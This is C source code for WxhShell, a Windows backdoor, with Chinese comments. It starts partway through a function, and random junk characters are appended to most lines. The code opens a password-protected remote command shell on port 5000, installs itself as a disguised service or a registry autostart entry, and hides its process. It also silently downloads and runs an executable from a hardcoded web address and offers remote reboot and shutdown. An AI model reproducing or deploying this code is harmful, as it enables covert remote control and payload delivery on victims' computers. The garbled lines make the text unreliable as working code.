} PROCESS_BASIC_INFORMATION; ptaKf4P^r
3(UVg!t
PROCNTQSIP NtQueryInformationProcess; '<uq3?5
OZ&o:/*HM
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]_$[8#kg
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `H+lPM66
'hf8ZEW9'
HANDLE hProcess; *K;~!P
PROCESS_BASIC_INFORMATION pbi; IVmo5,&5(
Ea=P2:3*
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d d;T-wa}
if(NULL == hInst ) return 0; q cno^8R
>-c8q]()ly
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @o.I ;}*N
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0|L%)'F
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HOPi2nf{
sf(2~BMQI
if (!NtQueryInformationProcess) return 0; YU(|i}b
{*lRI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =D}]|ie
if(!hProcess) return 0; BT3X7Cx
\-2O&v'}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $!m (S&f
920 o]Dh=t
CloseHandle(hProcess); ;bh[TmQTJ
8
FJ>W.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Mu>WS)1lS
if(hProcess==NULL) return 0; y(2FaTjM
TM?RH{(r
HMODULE hMod; nUy2)CL[L
char procName[255]; h p<NVST
unsigned long cbNeeded; P+/6-C J
u@ psVt
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ic,V,#my
~a
RK=i$F
CloseHandle(hProcess); o$[alh;c+W
F%s'R 0l
if(strstr(procName,"services")) return 1; // 以服务启动 ta)'z@V @g
OqW (C
return 0; // 注册表启动 0DIXd*oj &
} hOTqbd}
A"PmoV?lAm
// 主模块 !JOM+P:
int StartWxhshell(LPSTR lpCmdLine) 5N'Z"C0
{ B+w< 0No
SOCKET wsl; iAWd
9x
BOOL val=TRUE; Qjl.O HO
int port=0; 9bVPMq7}i
struct sockaddr_in door; v?
VNWK2
QaAWO
if(wscfg.ws_autoins) Install(); 5[\LQtM
h+<F,0
port=atoi(lpCmdLine); tc2e)WZP
pndAXO:v
if(port<=0) port=wscfg.ws_port; {YoK63b$
XFx p ^
WSADATA data; %=t8
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^]A,Q%1q^
O,+ZD^
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #rs]5tx([
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )?zlhsu}1;
door.sin_family = AF_INET; #;WKuRv
door.sin_addr.s_addr = inet_addr("127.0.0.1"); (uk-c~T!u
door.sin_port = htons(port); dRXEF6G
oTjsiXS
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o(5eb;"yi>
closesocket(wsl); |[lmW%
return 1; ;I5u"MDHGI
}
`[=3_
Qv`Lc]'
if(listen(wsl,2) == INVALID_SOCKET) { B{^ojV;]m
closesocket(wsl); =bwuLno>
return 1; dQkp &.
} ~t ` uq
Wxhshell(wsl); 8M DX()Bm
WSACleanup(); *sPG,6>
!eH9LRp
return 0; -? |-ux
3cH`>#c
} ee+*&CT)
F6$QEiDu@
// 以NT服务方式启动 X4bB
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q-qM"8I
{ !pMp
n%r<]
DWORD status = 0; {f9jK@%Gy
DWORD specificError = 0xfffffff; _K#LOSMfj/
{}W9m)I
serviceStatus.dwServiceType = SERVICE_WIN32; *NEA(9
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !jIpgs5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \>%.ktG
serviceStatus.dwWin32ExitCode = 0; (i"@{[IP
serviceStatus.dwServiceSpecificExitCode = 0; #go!"HL
serviceStatus.dwCheckPoint = 0; MBO3y&\S4
serviceStatus.dwWaitHint = 0; B"903g 1
LG/6_t}
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b;;C><
if (hServiceStatusHandle==0) return; I\|x0D
JQp::,g
status = GetLastError(); :k"VR,riF
if (status!=NO_ERROR) aUBGp: (
{ 64hl0'67y
serviceStatus.dwCurrentState = SERVICE_STOPPED; z'(][SB
serviceStatus.dwCheckPoint = 0; Ca?:x tt
serviceStatus.dwWaitHint = 0; k$u/6lw]IB
serviceStatus.dwWin32ExitCode = status; ;Rz+4<
serviceStatus.dwServiceSpecificExitCode = specificError; Pz/bne;=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); EzXGb
return; 7E-1
#4
} PS13h_j
OjUZ-_J
serviceStatus.dwCurrentState = SERVICE_RUNNING; c5 ($*tTT
serviceStatus.dwCheckPoint = 0; v`Iw:?)%
serviceStatus.dwWaitHint = 0; )Hp{8c
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :+G1=TuXw~
} =xa:>Vh#
=Z($n:m=*
// 处理NT服务事件,比如:启动、停止 -j6&W`
VOID WINAPI NTServiceHandler(DWORD fdwControl) |BO!q9633V
{ 4}4K6y<q
switch(fdwControl) t81}jD
{ RwG@C|sG
case SERVICE_CONTROL_STOP: Td7=La0
serviceStatus.dwWin32ExitCode = 0; mX2(SFpJar
serviceStatus.dwCurrentState = SERVICE_STOPPED; CPw=?<db
serviceStatus.dwCheckPoint = 0; aWG7k#nE
serviceStatus.dwWaitHint = 0; k4:e0Wd
{ nO'lN<L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); XJs*DK
} x/UmpJD+
return; O e-FI+7
case SERVICE_CONTROL_PAUSE: Vm_waa
serviceStatus.dwCurrentState = SERVICE_PAUSED; }bW"Z2^nB
break; sNet[y:O3
case SERVICE_CONTROL_CONTINUE: J <<Ph
serviceStatus.dwCurrentState = SERVICE_RUNNING; 8:x{
break; vp"b_x1-
case SERVICE_CONTROL_INTERROGATE: jO|D #nC
break; wVSk.OOB
}; |6M:JI8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yc#0c[ZQu
} E3):8>R;1
K>"]*#aBv
// 标准应用程序主函数 baD`k?](
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3C+!Y#F
{ l"I
G;qO.
XIg GE)n
// 获取操作系统版本 MDHTZ94\Q
OsIsNt=GetOsVer(); Gk!06
GetModuleFileName(NULL,ExeFile,MAX_PATH); d)_fI*:f
tp6-j`7u
// 从命令行安装 Nq$Xe~,*
if(strpbrk(lpCmdLine,"iI")) Install(); *Zj2*e{Z9U
$jpAnZR- /
// 下载执行文件 Kzj9!'0R
if(wscfg.ws_downexe) { [VD)DO5
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f1hjU~nJ
WinExec(wscfg.ws_filenam,SW_HIDE); ,)S(SnCF
} 9Y6Ear .W
?)8OC(B8q
if(!OsIsNt) { z A ~aiX
// 如果时win9x,隐藏进程并且设置为注册表启动 :`pgdn
HideProc(); ]M:=\h,t>
StartWxhshell(lpCmdLine); p41TSALq
} 1>KZ1Kf
else i`FskEoijq
if(StartFromService()) C78V/{
// 以服务方式启动 ]TE,N$X
StartServiceCtrlDispatcher(DispatchTable); >=T\=y
else 5Tl3k=o}
// 普通方式启动 #>]o' KQx
StartWxhshell(lpCmdLine); CDNh9`
o
0-3[W'x<
return 0; P5qY|_
} L. %N
^lt;K{
MPexc5_
_o'3v=5T
=========================================== yY3Mv/R
8[z<gxP`?
jt*VD>ji
&!adW@y
q=_&izmE'7
ug|'}\LY
" ^GyGh{@,f
ZRK1UpP
#include <stdio.h> AP2BND9
#include <string.h> h
rksPK"s2
#include <windows.h> 53i7:1[uV
#include <winsock2.h> ,X&(BQj h
#include <winsvc.h> U1.w%b,
#include <urlmon.h> Tej&1'G
TB8a#bK4
#pragma comment (lib, "Ws2_32.lib") EYsf<8cl
#pragma comment (lib, "urlmon.lib") FtEmSKD
!,I530eh7
#define MAX_USER 100 // 最大客户端连接数 Buv4&.Z}
#define BUF_SOCK 200 // sock buffer ssWSY(j]
#define KEY_BUFF 255 // 输入 buffer %+1;iuDL
0zL7$Q#c
#define REBOOT 0 // 重启 q%RPAe
#define SHUTDOWN 1 // 关机 !6d6b@Mv
U,Duq^l~s
#define DEF_PORT 5000 // 监听端口 K<3$>/|
JyfWy
#define REG_LEN 16 // 注册表键长度 opQdym
#define SVC_LEN 80 // NT服务名长度 Gx$rk<;ZW
GOzV#
// 从dll定义API h/AL`$
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6{qI
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5W(S~}
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !alO,P%>r
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4)IRm2G
1\~-No
// wxhshell配置信息 e@GR[0~
struct WSCFG { 1l~(J:DT
int ws_port; // 监听端口 _BA2^C':c{
char ws_passstr[REG_LEN]; // 口令 3 E~d
int ws_autoins; // 安装标记, 1=yes 0=no z;74(5?q
char ws_regname[REG_LEN]; // 注册表键名 7Lv5@
char ws_svcname[REG_LEN]; // 服务名 R>3a?.X
char ws_svcdisp[SVC_LEN]; // 服务显示名 fuwv,[m
char ws_svcdesc[SVC_LEN]; // 服务描述信息 X53TFRxnT
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l5 FM>q
int ws_downexe; // 下载执行标记, 1=yes 0=no IO(Y_7
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q,W6wM;,E
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LMV0:\>
TDMyZ!d
}; w(y#{!%+
:EXH8n&|
// default Wxhshell configuration `D#3
struct WSCFG wscfg={DEF_PORT, bc".R]
"xuhuanlingzhe", :*{>=BD
1, x+L
G4++
"Wxhshell", 2t\a/QE)E
"Wxhshell", |)i-c`x
"WxhShell Service", ?)-*&1cv
"Wrsky Windows CmdShell Service", mgX0@#wFn
"Please Input Your Password: ", M[D`)7=b
1, JAen=%2b
"http://www.wrsky.com/wxhshell.exe", Fs<kMT
"Wxhshell.exe" Bm"jf]
}; k&ujr:)5Y5
Skl1%`
// 消息定义模块 $zbm!._~DA
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }m/aigA[1
char *msg_ws_prompt="\n\r? for help\n\r#>"; GIsXv 2
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Qs8iu`'
char *msg_ws_ext="\n\rExit."; |HI=ykfI
char *msg_ws_end="\n\rQuit."; 9mwL\j
char *msg_ws_boot="\n\rReboot..."; A1Mr
char *msg_ws_poff="\n\rShutdown..."; zm\=4^X
char *msg_ws_down="\n\rSave to "; )!hDF9O
UL$^zR3%d
char *msg_ws_err="\n\rErr!"; I,QJ/sI
char *msg_ws_ok="\n\rOK!"; c'&